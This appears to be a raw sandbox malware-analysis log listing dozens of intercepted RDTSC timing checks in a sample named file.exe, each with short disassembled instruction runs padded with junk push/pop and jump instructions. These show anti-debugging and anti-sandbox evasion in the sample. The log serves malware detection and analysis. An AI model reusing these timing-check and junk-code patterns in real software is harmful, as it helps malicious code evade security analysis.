Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 30AD69 second address: 30AD87 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jng 00007F1910516D5Eh 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 30AD87 second address: 30AD8B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 30AD8B second address: 30AD9F instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jmp 00007F1910516D5Eh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 30AD9F second address: 30ADD2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 js 00007F19111E3806h 0x00000009 jmp 00007F19111E3811h 0x0000000e jmp 00007F19111E3810h 0x00000013 popad 0x00000014 ja 00007F19111E3816h 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 30B0B6 second address: 30B0BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 30B0BD second address: 30B0C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 30B0C3 second address: 30B0D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 30B0D0 second address: 30B0D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3129D5 second address: 3129DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 312B08 second address: 312B11 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 312B11 second address: 312B20 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 ja 00007F1910516D56h 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 312B20 second address: 312B25 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 312E10 second address: 312E2D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 ja 00007F1910516D58h 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F1910516D5Ch 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 312E2D second address: 312E37 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F19111E3806h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 31322B second address: 31322F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 31322F second address: 313247 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F19111E380Eh 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 313247 second address: 31324B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 31324B second address: 313251 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 313251 second address: 31325E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 31A1E8 second address: 31A210 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F19111E380Dh 0x00000007 jns 00007F19111E3806h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jmp 00007F19111E3811h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 33041E second address: 330426 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 330426 second address: 330431 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 330431 second address: 33043D instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 33043D second address: 330443 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 330443 second address: 330447 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 330447 second address: 33045C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 pushad 0x0000000a jne 00007F19111E3808h 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 33045C second address: 33047C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1910516D67h 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 330131 second address: 330163 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jl 00007F19111E380Eh 0x0000000c jnl 00007F19111E3806h 0x00000012 push ebx 0x00000013 pop ebx 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 jne 00007F19111E381Bh 0x0000001d jmp 00007F19111E3815h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 330163 second address: 330168 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 341443 second address: 341461 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 jmp 00007F19111E3819h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 341461 second address: 341468 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 341468 second address: 341486 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F19111E3815h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push esi 0x0000000d pop esi 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 349211 second address: 34923F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1910516D68h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b js 00007F1910516D60h 0x00000011 jmp 00007F1910516D5Ah 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 34923F second address: 349244 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 347E61 second address: 347E71 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F1910516D56h 0x00000008 jns 00007F1910516D56h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 34B796 second address: 34B79B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 34B79B second address: 34B7A0 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 34B7A0 second address: 34B7EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F19111E3819h 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d jnp 00007F19111E3816h 0x00000013 pushad 0x00000014 push eax 0x00000015 pop eax 0x00000016 jng 00007F19111E3806h 0x0000001c popad 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 popad 0x00000021 jno 00007F19111E3806h 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 34B7EB second address: 34B7EF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 34DB93 second address: 34DB99 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 34F146 second address: 34F151 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3521A3 second address: 3521A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 351D21 second address: 351D50 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F1910516D56h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edi 0x0000000b pushad 0x0000000c jmp 00007F1910516D65h 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F1910516D5Ch 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 351EC0 second address: 351EC4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 351EC4 second address: 351ECD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3552A5 second address: 3552A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 35B1B0 second address: 35B1BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 362A47 second address: 362A4D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3602BB second address: 3602C0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3602C0 second address: 3602C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 36F904 second address: 36F915 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 jnl 00007F1910516D5Ah 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 371033 second address: 37103D instructions: 0x00000000 rdtsc 0x00000002 jl 00007F19111E380Eh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3738CC second address: 3738F9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jp 00007F1910516D56h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F1910516D69h 0x00000013 ja 00007F1910516D56h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3738F9 second address: 373925 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F19111E3814h 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jl 00007F19111E3806h 0x00000013 jmp 00007F19111E380Ah 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3893C2 second address: 3893CC instructions: 0x00000000 rdtsc 0x00000002 jno 00007F1910516D56h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3893CC second address: 3893E0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 jng 00007F19111E3806h 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e jnl 00007F19111E3806h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3883E1 second address: 3883ED instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jc 00007F1910516D56h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 388DA4 second address: 388DD0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F19111E3816h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e jmp 00007F19111E380Dh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 388F37 second address: 388F51 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1910516D66h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 388F51 second address: 388F5D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 388F5D second address: 388F61 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 388F61 second address: 388F69 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 388F69 second address: 388F73 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007F1910516D56h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 388F73 second address: 388F97 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F19111E3806h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edi 0x0000000b js 00007F19111E3806h 0x00000011 jns 00007F19111E3806h 0x00000017 pop edi 0x00000018 pop edx 0x00000019 pop eax 0x0000001a push eax 0x0000001b push edx 0x0000001c jc 00007F19111E3808h 0x00000022 push edi 0x00000023 pop edi 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3890FA second address: 389102 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 389102 second address: 389107 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 389107 second address: 38910D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 38910D second address: 389111 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 38F211 second address: 38F238 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1910516D5Ch 0x00000009 popad 0x0000000a jnl 00007F1910516D62h 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 pop eax 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 38F238 second address: 38F23C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 38ED11 second address: 38ED37 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 push esi 0x00000006 pop esi 0x00000007 pop ecx 0x00000008 popad 0x00000009 pushad 0x0000000a push eax 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d pop eax 0x0000000e jmp 00007F1910516D64h 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 pop eax 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 38ED37 second address: 38ED5A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F19111E3815h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jl 00007F19111E380Ch 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2A50BC second address: 2A50C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49F0268 second address: 49F0302 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F19111E3814h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007F19111E3810h 0x0000000f push eax 0x00000010 pushad 0x00000011 mov ebx, 467A0174h 0x00000016 pushfd 0x00000017 jmp 00007F19111E380Dh 0x0000001c jmp 00007F19111E380Bh 0x00000021 popfd 0x00000022 popad 0x00000023 xchg eax, ebp 0x00000024 pushad 0x00000025 pushfd 0x00000026 jmp 00007F19111E3814h 0x0000002b sub cx, A658h 0x00000030 jmp 00007F19111E380Bh 0x00000035 popfd 0x00000036 popad 0x00000037 mov ebp, esp 0x00000039 pushad 0x0000003a movsx edi, ax 0x0000003d mov esi, 081D26A3h 0x00000042 popad 0x00000043 mov edx, dword ptr [ebp+0Ch] 0x00000046 push eax 0x00000047 push edx 0x00000048 jmp 00007F19111E3815h 0x0000004d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49F0302 second address: 49F0308 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A105EC second address: 4A10600 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F19111E380Fh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A10600 second address: 4A1069F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 xchg eax, ebp 0x00000008 jmp 00007F1910516D64h 0x0000000d push eax 0x0000000e jmp 00007F1910516D5Bh 0x00000013 xchg eax, ebp 0x00000014 pushad 0x00000015 mov ax, D5FBh 0x00000019 popad 0x0000001a mov ebp, esp 0x0000001c pushad 0x0000001d mov ecx, edi 0x0000001f pushfd 0x00000020 jmp 00007F1910516D5Fh 0x00000025 sbb cl, FFFFFFDEh 0x00000028 jmp 00007F1910516D69h 0x0000002d popfd 0x0000002e popad 0x0000002f xchg eax, ecx 0x00000030 push eax 0x00000031 push edx 0x00000032 pushad 0x00000033 pushfd 0x00000034 jmp 00007F1910516D63h 0x00000039 xor ax, D4EEh 0x0000003e jmp 00007F1910516D69h 0x00000043 popfd 0x00000044 mov esi, 18554877h 0x00000049 popad 0x0000004a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A1069F second address: 4A106BB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F19111E3818h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A106BB second address: 4A10741 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1910516D5Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d mov cx, dx 0x00000010 mov eax, edi 0x00000012 popad 0x00000013 xchg eax, ecx 0x00000014 jmp 00007F1910516D5Dh 0x00000019 xchg eax, esi 0x0000001a jmp 00007F1910516D5Eh 0x0000001f push eax 0x00000020 pushad 0x00000021 push edx 0x00000022 jmp 00007F1910516D5Ch 0x00000027 pop ecx 0x00000028 jmp 00007F1910516D5Bh 0x0000002d popad 0x0000002e xchg eax, esi 0x0000002f push eax 0x00000030 push edx 0x00000031 pushad 0x00000032 pushfd 0x00000033 jmp 00007F1910516D5Bh 0x00000038 and ecx, 7CBE0B1Eh 0x0000003e jmp 00007F1910516D69h 0x00000043 popfd 0x00000044 movzx esi, bx 0x00000047 popad 0x00000048 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A10741 second address: 4A10747 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A10747 second address: 4A1077D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1910516D64h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b lea eax, dword ptr [ebp-04h] 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F1910516D67h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A1077D second address: 4A107C5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop eax 0x00000005 jmp 00007F19111E380Bh 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d nop 0x0000000e pushad 0x0000000f mov ecx, 71E474BBh 0x00000014 pushfd 0x00000015 jmp 00007F19111E3810h 0x0000001a jmp 00007F19111E3815h 0x0000001f popfd 0x00000020 popad 0x00000021 push eax 0x00000022 push eax 0x00000023 push edx 0x00000024 pushad 0x00000025 push eax 0x00000026 push edx 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A107C5 second address: 4A107CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A107CB second address: 4A107D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A107D0 second address: 4A107FB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1910516D5Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F1910516D65h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A107FB second address: 4A10801 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A10801 second address: 4A10805 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A10805 second address: 4A10809 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A10809 second address: 4A1081E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push dword ptr [ebp+08h] 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e movzx eax, dx 0x00000011 mov cx, di 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A10892 second address: 4A108AA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F19111E3814h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A108AA second address: 4A108BE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 je 00007F1910516D99h 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A108BE second address: 4A108C2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
